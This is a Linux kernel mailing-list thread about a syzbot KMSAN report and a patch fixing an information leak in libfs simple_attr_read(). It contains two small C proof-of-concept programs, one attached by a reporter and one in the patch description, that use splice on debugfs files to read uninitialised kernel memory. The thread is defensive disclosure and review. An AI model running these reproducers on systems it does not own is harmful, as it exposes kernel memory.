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* KMSAN: uninit-value in simple_attr_read
@ 2020-02-27  9:29 syzbot
  2020-02-27 11:57 ` Alexander Potapenko
  0 siblings, 1 reply; 9+ messages in thread
From: syzbot @ 2020-02-27  9:29 UTC (permalink / raw)
  To: glider, linux-fsdevel, linux-kernel, syzkaller-bugs, viro

Hello,

syzbot found the following crash on:

HEAD commit:    8bbbc5cf kmsan: don't compile memmove
git tree:       https://github.com/google/kmsan.git master
console output: https://syzkaller.appspot.com/x/log.txt?x=14394265e00000
kernel config:  https://syzkaller.appspot.com/x/.config?x=cd0e9a6b0e555cc3
dashboard link: https://syzkaller.appspot.com/bug?extid=fcab69d1ada3e8d6f06b
compiler:       clang version 10.0.0 (https://github.com/llvm/llvm-project/ c2443155a0fb245c8f17f2c1c72b6ea391e86e81)
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=1338127ee00000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=161403ede00000

IMPORTANT: if you fix the bug, please add the following tag to the commit:
Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com

=====================================================
BUG: KMSAN: uninit-value in strlen+0x5e/0xa0 lib/string.c:552
CPU: 1 PID: 11402 Comm: syz-executor230 Not tainted 5.6.0-rc2-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
Call Trace:
 __dump_stack lib/dump_stack.c:77 [inline]
 dump_stack+0x1c9/0x220 lib/dump_stack.c:118
 kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:118
 __msan_warning+0x58/0xa0 mm/kmsan/kmsan_instr.c:215
 strlen+0x5e/0xa0 lib/string.c:552
 simple_attr_read+0x1ec/0x740 fs/libfs.c:935
 debugfs_attr_read+0x13e/0x290 fs/debugfs/file.c:360
 __vfs_read+0x1a9/0xc80 fs/read_write.c:425
 vfs_read+0x346/0x6a0 fs/read_write.c:461
 ksys_read+0x267/0x450 fs/read_write.c:587
 __do_sys_read fs/read_write.c:597 [inline]
 __se_sys_read+0x92/0xb0 fs/read_write.c:595
 __x64_sys_read+0x4a/0x70 fs/read_write.c:595
 do_syscall_64+0xb8/0x160 arch/x86/entry/common.c:296
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x440269
Code: 18 89 d0 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 0f 83 fb 13 fc ff c3 66 2e 0f 1f 84 00 00 00 00
RSP: 002b:00007fff09d3bc68 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00000000004002c8 RCX: 0000000000440269
RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000004
RBP: 00000000006ca018 R08: 000000000000000a R09: 000000000000000a
R10: 0000000000010001 R11: 0000000000000246 R12: 0000000000401af0
R13: 0000000000401b80 R14: 0000000000000000 R15: 0000000000000000

Uninit was created at:
 kmsan_save_stack_with_flags mm/kmsan/kmsan.c:144 [inline]
 kmsan_internal_poison_shadow+0x66/0xd0 mm/kmsan/kmsan.c:127
 kmsan_slab_alloc+0x8a/0xe0 mm/kmsan/kmsan_hooks.c:82
 slab_alloc_node mm/slub.c:2793 [inline]
 slab_alloc mm/slub.c:2802 [inline]
 kmem_cache_alloc_trace+0x6f3/0xd70 mm/slub.c:2819
 kmalloc include/linux/slab.h:555 [inline]
 simple_attr_open+0xd4/0x400 fs/libfs.c:894
 lowpan_enable_fops_open+0x94/0xb0 net/bluetooth/6lowpan.c:1105
 open_proxy_open+0x657/0x800 fs/debugfs/file.c:189
 do_dentry_open+0xf89/0x1820 fs/open.c:797
 vfs_open+0xaf/0xe0 fs/open.c:914
 do_last fs/namei.c:3490 [inline]
 path_openat+0x4d57/0x6bd0 fs/namei.c:3607
 do_filp_open+0x2b8/0x710 fs/namei.c:3637
 do_sys_openat2+0x92e/0xd40 fs/open.c:1149
 do_sys_open fs/open.c:1165 [inline]
 __do_sys_openat fs/open.c:1179 [inline]
 __se_sys_openat+0x24a/0x2b0 fs/open.c:1174
 __x64_sys_openat+0x56/0x70 fs/open.c:1174
 do_syscall_64+0xb8/0x160 arch/x86/entry/common.c:296
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
=====================================================


---
This bug is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.

syzbot will keep track of this bug report. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
syzbot can test patches for this bug, for details see:
https://goo.gl/tpsmEJ#testing-patches

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: KMSAN: uninit-value in simple_attr_read
  2020-02-27  9:29 KMSAN: uninit-value in simple_attr_read syzbot
@ 2020-02-27 11:57 ` Alexander Potapenko
  2020-03-04 14:36   ` Alexander Potapenko
  0 siblings, 1 reply; 9+ messages in thread
From: Alexander Potapenko @ 2020-02-27 11:57 UTC (permalink / raw)
  To: syzbot, Greg Kroah-Hartman, Rafael J. Wysocki
  Cc: linux-fsdevel, LKML, syzkaller-bugs, Al Viro

On Thu, Feb 27, 2020 at 10:29 AM syzbot
<syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com> wrote:
>
> Hello,
>
> syzbot found the following crash on:
>
> HEAD commit:    8bbbc5cf kmsan: don't compile memmove
> git tree:       https://github.com/google/kmsan.git master
> console output: https://syzkaller.appspot.com/x/log.txt?x=14394265e00000
> kernel config:  https://syzkaller.appspot.com/x/.config?x=cd0e9a6b0e555cc3
> dashboard link: https://syzkaller.appspot.com/bug?extid=fcab69d1ada3e8d6f06b
> compiler:       clang version 10.0.0 (https://github.com/llvm/llvm-project/ c2443155a0fb245c8f17f2c1c72b6ea391e86e81)
> syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=1338127ee00000
> C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=161403ede00000
>
> IMPORTANT: if you fix the bug, please add the following tag to the commit:
> Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com

This report says it's uninit in strlen, but there's actually an
information leak later on that lets the user read arbitrary data past
the non-terminated attr->get_buf.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: KMSAN: uninit-value in simple_attr_read
  2020-02-27 11:57 ` Alexander Potapenko
@ 2020-03-04 14:36   ` Alexander Potapenko
  2020-03-08  2:38     ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers
  0 siblings, 1 reply; 9+ messages in thread
From: Alexander Potapenko @ 2020-03-04 14:36 UTC (permalink / raw)
  To: syzbot, Greg Kroah-Hartman, Rafael J. Wysocki, Arnd Bergmann
  Cc: linux-fsdevel, LKML, syzkaller-bugs, Al Viro

[-- Attachment #1: Type: text/plain, Size: 406 bytes --]

Hi Greg, Rafael, Arnd,

> This report says it's uninit in strlen, but there's actually an
> information leak later on that lets the user read arbitrary data past
> the non-terminated attr->get_buf.

The attached PoC demonstrates the problem.
I am not sure how bad is that, given that /sys/kernel/debug is usually
accessible only to the root, and simple attribute files don't seem to
be used anywhere else.

[-- Attachment #2: simple_attr_read-leak.c --]
[-- Type: text/x-csrc, Size: 741 bytes --]

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define BUF_SIZE 128
int main(int argc, char *argv[])
{
  char buf[BUF_SIZE];
  const char def_filename[] = "/sys/kernel/debug/bluetooth/6lowpan_enable";
  char *filename = (char *)def_filename;
  int pipefd[2], dfs_fd;
  struct iovec iov;

  if (argc > 1)
    filename = argv[1];
  pipe(pipefd);
  iov.iov_base = mmap(NULL, 0x1000, 3, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  iov.iov_len = 0x1;
  vmsplice(pipefd[1], &iov, 1, 1);
  dfs_fd = open(filename, O_RDWR);
  splice(pipefd[0], 0, dfs_fd, 0, 0x1, SPLICE_F_NONBLOCK);
  memset(buf, 0, BUF_SIZE);
  read(dfs_fd, buf, BUF_SIZE);
  printf("'%s'\n", buf);
  return 0;
}

^ permalink raw reply	[flat|nested] 9+ messages in thread

* [PATCH] libfs: fix infoleak in simple_attr_read()
  2020-03-04 14:36   ` Alexander Potapenko
@ 2020-03-08  2:38     ` Eric Biggers
  2020-03-13 16:45       ` Eric Biggers
  2020-03-22 16:57       ` Kees Cook
  0 siblings, 2 replies; 9+ messages in thread
From: Eric Biggers @ 2020-03-08  2:38 UTC (permalink / raw)
  To: linux-fsdevel, viro
  Cc: glider, arnd, gregkh, linux-kernel, rafael,
	syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs

From: Eric Biggers <ebiggers@google.com>

Reading from a debugfs file at a nonzero position, without first reading
at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed
on these files, and write() doesn't update the position on them.  But
writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:
	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30

Fix the infoleak by making simple_attr_read() always fill
simple_attr::get_buf if it hasn't been filled yet.

Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com
Reported-by: Alexander Potapenko <glider@google.com>
Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files")
Cc: stable@vger.kernel.org
Signed-off-by: Eric Biggers <ebiggers@google.com>
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/fs/libfs.c b/fs/libfs.c
index c686bd9caac6..3759fbacf522 100644
--- a/fs/libfs.c
+++ b/fs/libfs.c
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
-- 
2.25.1


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH] libfs: fix infoleak in simple_attr_read()
  2020-03-08  2:38     ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers
@ 2020-03-13 16:45       ` Eric Biggers
  2020-03-18 16:39         ` Eric Biggers
  2020-03-22 16:57       ` Kees Cook
  1 sibling, 1 reply; 9+ messages in thread
From: Eric Biggers @ 2020-03-13 16:45 UTC (permalink / raw)
  To: linux-fsdevel, viro
  Cc: glider, arnd, gregkh, linux-kernel, rafael,
	syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs

On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote:
> From: Eric Biggers <ebiggers@google.com>
> 
> Reading from a debugfs file at a nonzero position, without first reading
> at position 0, leaks uninitialized memory to userspace.
> 
> It's a bit tricky to do this, since lseek() and pread() aren't allowed
> on these files, and write() doesn't update the position on them.  But
> writing to them with splice() *does* update the position:
> 
> 	#define _GNU_SOURCE 1
> 	#include <fcntl.h>
> 	#include <stdio.h>
> 	#include <unistd.h>
> 	int main()
> 	{
> 		int pipes[2], fd, n, i;
> 		char buf[32];
> 
> 		pipe(pipes);
> 		write(pipes[1], "0", 1);
> 		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
> 		splice(pipes[0], NULL, fd, NULL, 1, 0);
> 		n = read(fd, buf, sizeof(buf));
> 		for (i = 0; i < n; i++)
> 			printf("%02x", buf[i]);
> 		printf("\n");
> 	}
> 
> Output:
> 	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30
> 
> Fix the infoleak by making simple_attr_read() always fill
> simple_attr::get_buf if it hasn't been filled yet.
> 
> Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com
> Reported-by: Alexander Potapenko <glider@google.com>
> Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files")
> Cc: stable@vger.kernel.org
> Signed-off-by: Eric Biggers <ebiggers@google.com>
> ---
>  fs/libfs.c | 8 +++++---
>  1 file changed, 5 insertions(+), 3 deletions(-)
> 
> diff --git a/fs/libfs.c b/fs/libfs.c
> index c686bd9caac6..3759fbacf522 100644
> --- a/fs/libfs.c
> +++ b/fs/libfs.c
> @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
>  {
>  	struct simple_attr *attr;
>  
> -	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
> +	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
>  	if (!attr)
>  		return -ENOMEM;
>  
> @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
>  	if (ret)
>  		return ret;
>  
> -	if (*ppos) {		/* continued read */
> +	if (*ppos && attr->get_buf[0]) {
> +		/* continued read */
>  		size = strlen(attr->get_buf);
> -	} else {		/* first read */
> +	} else {
> +		/* first read */
>  		u64 val;
>  		ret = attr->get(attr->data, &val);
>  		if (ret)
> -- 
> 2.25.1

Any comments on this?  Al, seems this is something you should pick up?

- Eric

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH] libfs: fix infoleak in simple_attr_read()
  2020-03-13 16:45       ` Eric Biggers
@ 2020-03-18 16:39         ` Eric Biggers
  2020-03-22  3:56           ` Eric Biggers
  0 siblings, 1 reply; 9+ messages in thread
From: Eric Biggers @ 2020-03-18 16:39 UTC (permalink / raw)
  To: linux-fsdevel, viro
  Cc: glider, arnd, gregkh, linux-kernel, rafael,
	syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs

On Fri, Mar 13, 2020 at 09:45:11AM -0700, Eric Biggers wrote:
> On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote:
> > From: Eric Biggers <ebiggers@google.com>
> > 
> > Reading from a debugfs file at a nonzero position, without first reading
> > at position 0, leaks uninitialized memory to userspace.
> > 
> > It's a bit tricky to do this, since lseek() and pread() aren't allowed
> > on these files, and write() doesn't update the position on them.  But
> > writing to them with splice() *does* update the position:
> > 
> > 	#define _GNU_SOURCE 1
> > 	#include <fcntl.h>
> > 	#include <stdio.h>
> > 	#include <unistd.h>
> > 	int main()
> > 	{
> > 		int pipes[2], fd, n, i;
> > 		char buf[32];
> > 
> > 		pipe(pipes);
> > 		write(pipes[1], "0", 1);
> > 		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
> > 		splice(pipes[0], NULL, fd, NULL, 1, 0);
> > 		n = read(fd, buf, sizeof(buf));
> > 		for (i = 0; i < n; i++)
> > 			printf("%02x", buf[i]);
> > 		printf("\n");
> > 	}
> > 
> > Output:
> > 	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30
> > 
> > Fix the infoleak by making simple_attr_read() always fill
> > simple_attr::get_buf if it hasn't been filled yet.
> > 
> > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com
> > Reported-by: Alexander Potapenko <glider@google.com>
> > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files")
> > Cc: stable@vger.kernel.org
> > Signed-off-by: Eric Biggers <ebiggers@google.com>
> > ---
> >  fs/libfs.c | 8 +++++---
> >  1 file changed, 5 insertions(+), 3 deletions(-)
> > 
> > diff --git a/fs/libfs.c b/fs/libfs.c
> > index c686bd9caac6..3759fbacf522 100644
> > --- a/fs/libfs.c
> > +++ b/fs/libfs.c
> > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
> >  {
> >  	struct simple_attr *attr;
> >  
> > -	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
> > +	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
> >  	if (!attr)
> >  		return -ENOMEM;
> >  
> > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
> >  	if (ret)
> >  		return ret;
> >  
> > -	if (*ppos) {		/* continued read */
> > +	if (*ppos && attr->get_buf[0]) {
> > +		/* continued read */
> >  		size = strlen(attr->get_buf);
> > -	} else {		/* first read */
> > +	} else {
> > +		/* first read */
> >  		u64 val;
> >  		ret = attr->get(attr->data, &val);
> >  		if (ret)
> > -- 
> > 2.25.1
> 
> Any comments on this?  Al, seems this is something you should pick up?
> 
> - Eric

Ping.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH] libfs: fix infoleak in simple_attr_read()
  2020-03-18 16:39         ` Eric Biggers
@ 2020-03-22  3:56           ` Eric Biggers
  2020-03-24 12:13             ` Greg KH
  0 siblings, 1 reply; 9+ messages in thread
From: Eric Biggers @ 2020-03-22  3:56 UTC (permalink / raw)
  To: Andrew Morton
  Cc: linux-fsdevel, viro, glider, arnd, gregkh, linux-kernel, rafael,
	syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs

On Wed, Mar 18, 2020 at 09:39:40AM -0700, Eric Biggers wrote:
> On Fri, Mar 13, 2020 at 09:45:11AM -0700, Eric Biggers wrote:
> > On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote:
> > > From: Eric Biggers <ebiggers@google.com>
> > > 
> > > Reading from a debugfs file at a nonzero position, without first reading
> > > at position 0, leaks uninitialized memory to userspace.
> > > 
> > > It's a bit tricky to do this, since lseek() and pread() aren't allowed
> > > on these files, and write() doesn't update the position on them.  But
> > > writing to them with splice() *does* update the position:
> > > 
> > > 	#define _GNU_SOURCE 1
> > > 	#include <fcntl.h>
> > > 	#include <stdio.h>
> > > 	#include <unistd.h>
> > > 	int main()
> > > 	{
> > > 		int pipes[2], fd, n, i;
> > > 		char buf[32];
> > > 
> > > 		pipe(pipes);
> > > 		write(pipes[1], "0", 1);
> > > 		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
> > > 		splice(pipes[0], NULL, fd, NULL, 1, 0);
> > > 		n = read(fd, buf, sizeof(buf));
> > > 		for (i = 0; i < n; i++)
> > > 			printf("%02x", buf[i]);
> > > 		printf("\n");
> > > 	}
> > > 
> > > Output:
> > > 	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30
> > > 
> > > Fix the infoleak by making simple_attr_read() always fill
> > > simple_attr::get_buf if it hasn't been filled yet.
> > > 
> > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com
> > > Reported-by: Alexander Potapenko <glider@google.com>
> > > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files")
> > > Cc: stable@vger.kernel.org
> > > Signed-off-by: Eric Biggers <ebiggers@google.com>
> > > ---
> > >  fs/libfs.c | 8 +++++---
> > >  1 file changed, 5 insertions(+), 3 deletions(-)
> > > 
> > > diff --git a/fs/libfs.c b/fs/libfs.c
> > > index c686bd9caac6..3759fbacf522 100644
> > > --- a/fs/libfs.c
> > > +++ b/fs/libfs.c
> > > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
> > >  {
> > >  	struct simple_attr *attr;
> > >  
> > > -	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
> > > +	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
> > >  	if (!attr)
> > >  		return -ENOMEM;
> > >  
> > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
> > >  	if (ret)
> > >  		return ret;
> > >  
> > > -	if (*ppos) {		/* continued read */
> > > +	if (*ppos && attr->get_buf[0]) {
> > > +		/* continued read */
> > >  		size = strlen(attr->get_buf);
> > > -	} else {		/* first read */
> > > +	} else {
> > > +		/* first read */
> > >  		u64 val;
> > >  		ret = attr->get(attr->data, &val);
> > >  		if (ret)
> > > -- 
> > > 2.25.1
> > 
> > Any comments on this?  Al, seems this is something you should pick up?
> > 
> > - Eric
> 
> Ping.
> 

Andrew, can you consider taking this patch?  Al has been ignoring it, and this
seems like a fairly important fix.  This bug affects many (most?) debugfs files,
and it affects years old kernels too not just recent ones.

Thanks,

- Eric

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH] libfs: fix infoleak in simple_attr_read()
  2020-03-08  2:38     ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers
  2020-03-13 16:45       ` Eric Biggers
@ 2020-03-22 16:57       ` Kees Cook
  1 sibling, 0 replies; 9+ messages in thread
From: Kees Cook @ 2020-03-22 16:57 UTC (permalink / raw)
  To: Eric Biggers
  Cc: linux-fsdevel, viro, glider, arnd, gregkh, linux-kernel, rafael,
	syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs

On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote:
> From: Eric Biggers <ebiggers@google.com>
> 
> Reading from a debugfs file at a nonzero position, without first reading
> at position 0, leaks uninitialized memory to userspace.
> 
> It's a bit tricky to do this, since lseek() and pread() aren't allowed
> on these files, and write() doesn't update the position on them.  But
> writing to them with splice() *does* update the position:
> 
> 	#define _GNU_SOURCE 1
> 	#include <fcntl.h>
> 	#include <stdio.h>
> 	#include <unistd.h>
> 	int main()
> 	{
> 		int pipes[2], fd, n, i;
> 		char buf[32];
> 
> 		pipe(pipes);
> 		write(pipes[1], "0", 1);
> 		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
> 		splice(pipes[0], NULL, fd, NULL, 1, 0);
> 		n = read(fd, buf, sizeof(buf));
> 		for (i = 0; i < n; i++)
> 			printf("%02x", buf[i]);
> 		printf("\n");
> 	}
> 
> Output:
> 	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30
> 
> Fix the infoleak by making simple_attr_read() always fill
> simple_attr::get_buf if it hasn't been filled yet.
> 
> Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com
> Reported-by: Alexander Potapenko <glider@google.com>
> Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files")
> Cc: stable@vger.kernel.org
> Signed-off-by: Eric Biggers <ebiggers@google.com>

Yikes, that's an important fix!

Acked-by: Kees Cook <keescook@chromium.org>

Luckily (as Alexander mentioned too), most distros make debugfs
non-accessible by non-root (I hope):

$ ls -lda /sys/kernel/debug
drwx------ 39 root root 0 Jan  8 09:10 /sys/kernel/debug/

That function is also exposed via DEFINE_SIMPLE_ATTRIBUTE(), but those
users appear to also be mostly (all?) debugfs too.

And, just to note, for v5.3 and later, this would be fully mitigated by
booting with "init_on_alloc=1".

-Kees

> ---
>  fs/libfs.c | 8 +++++---
>  1 file changed, 5 insertions(+), 3 deletions(-)
> 
> diff --git a/fs/libfs.c b/fs/libfs.c
> index c686bd9caac6..3759fbacf522 100644
> --- a/fs/libfs.c
> +++ b/fs/libfs.c
> @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
>  {
>  	struct simple_attr *attr;
>  
> -	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
> +	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
>  	if (!attr)
>  		return -ENOMEM;
>  
> @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
>  	if (ret)
>  		return ret;
>  
> -	if (*ppos) {		/* continued read */
> +	if (*ppos && attr->get_buf[0]) {
> +		/* continued read */
>  		size = strlen(attr->get_buf);
> -	} else {		/* first read */
> +	} else {
> +		/* first read */
>  		u64 val;
>  		ret = attr->get(attr->data, &val);
>  		if (ret)
> -- 
> 2.25.1
> 

-- 
Kees Cook

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH] libfs: fix infoleak in simple_attr_read()
  2020-03-22  3:56           ` Eric Biggers
@ 2020-03-24 12:13             ` Greg KH
  0 siblings, 0 replies; 9+ messages in thread
From: Greg KH @ 2020-03-24 12:13 UTC (permalink / raw)
  To: Eric Biggers
  Cc: Andrew Morton, linux-fsdevel, viro, glider, arnd, linux-kernel,
	rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs

On Sat, Mar 21, 2020 at 08:56:20PM -0700, Eric Biggers wrote:
> On Wed, Mar 18, 2020 at 09:39:40AM -0700, Eric Biggers wrote:
> > On Fri, Mar 13, 2020 at 09:45:11AM -0700, Eric Biggers wrote:
> > > On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote:
> > > > From: Eric Biggers <ebiggers@google.com>
> > > > 
> > > > Reading from a debugfs file at a nonzero position, without first reading
> > > > at position 0, leaks uninitialized memory to userspace.
> > > > 
> > > > It's a bit tricky to do this, since lseek() and pread() aren't allowed
> > > > on these files, and write() doesn't update the position on them.  But
> > > > writing to them with splice() *does* update the position:
> > > > 
> > > > 	#define _GNU_SOURCE 1
> > > > 	#include <fcntl.h>
> > > > 	#include <stdio.h>
> > > > 	#include <unistd.h>
> > > > 	int main()
> > > > 	{
> > > > 		int pipes[2], fd, n, i;
> > > > 		char buf[32];
> > > > 
> > > > 		pipe(pipes);
> > > > 		write(pipes[1], "0", 1);
> > > > 		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
> > > > 		splice(pipes[0], NULL, fd, NULL, 1, 0);
> > > > 		n = read(fd, buf, sizeof(buf));
> > > > 		for (i = 0; i < n; i++)
> > > > 			printf("%02x", buf[i]);
> > > > 		printf("\n");
> > > > 	}
> > > > 
> > > > Output:
> > > > 	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30
> > > > 
> > > > Fix the infoleak by making simple_attr_read() always fill
> > > > simple_attr::get_buf if it hasn't been filled yet.
> > > > 
> > > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com
> > > > Reported-by: Alexander Potapenko <glider@google.com>
> > > > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files")
> > > > Cc: stable@vger.kernel.org
> > > > Signed-off-by: Eric Biggers <ebiggers@google.com>
> > > > ---
> > > >  fs/libfs.c | 8 +++++---
> > > >  1 file changed, 5 insertions(+), 3 deletions(-)
> > > > 
> > > > diff --git a/fs/libfs.c b/fs/libfs.c
> > > > index c686bd9caac6..3759fbacf522 100644
> > > > --- a/fs/libfs.c
> > > > +++ b/fs/libfs.c
> > > > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
> > > >  {
> > > >  	struct simple_attr *attr;
> > > >  
> > > > -	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
> > > > +	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
> > > >  	if (!attr)
> > > >  		return -ENOMEM;
> > > >  
> > > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
> > > >  	if (ret)
> > > >  		return ret;
> > > >  
> > > > -	if (*ppos) {		/* continued read */
> > > > +	if (*ppos && attr->get_buf[0]) {
> > > > +		/* continued read */
> > > >  		size = strlen(attr->get_buf);
> > > > -	} else {		/* first read */
> > > > +	} else {
> > > > +		/* first read */
> > > >  		u64 val;
> > > >  		ret = attr->get(attr->data, &val);
> > > >  		if (ret)
> > > > -- 
> > > > 2.25.1
> > > 
> > > Any comments on this?  Al, seems this is something you should pick up?
> > > 
> > > - Eric
> > 
> > Ping.
> > 
> 
> Andrew, can you consider taking this patch?  Al has been ignoring it, and this
> seems like a fairly important fix.  This bug affects many (most?) debugfs files,
> and it affects years old kernels too not just recent ones.

As it affects debugfs files, I'll grab it now, thanks.

greg k-h

^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, back to index

Thread overview: 9+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2020-02-27  9:29 KMSAN: uninit-value in simple_attr_read syzbot
2020-02-27 11:57 ` Alexander Potapenko
2020-03-04 14:36   ` Alexander Potapenko
2020-03-08  2:38     ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers
2020-03-13 16:45       ` Eric Biggers
2020-03-18 16:39         ` Eric Biggers
2020-03-22  3:56           ` Eric Biggers
2020-03-24 12:13             ` Greg KH
2020-03-22 16:57       ` Kees Cook

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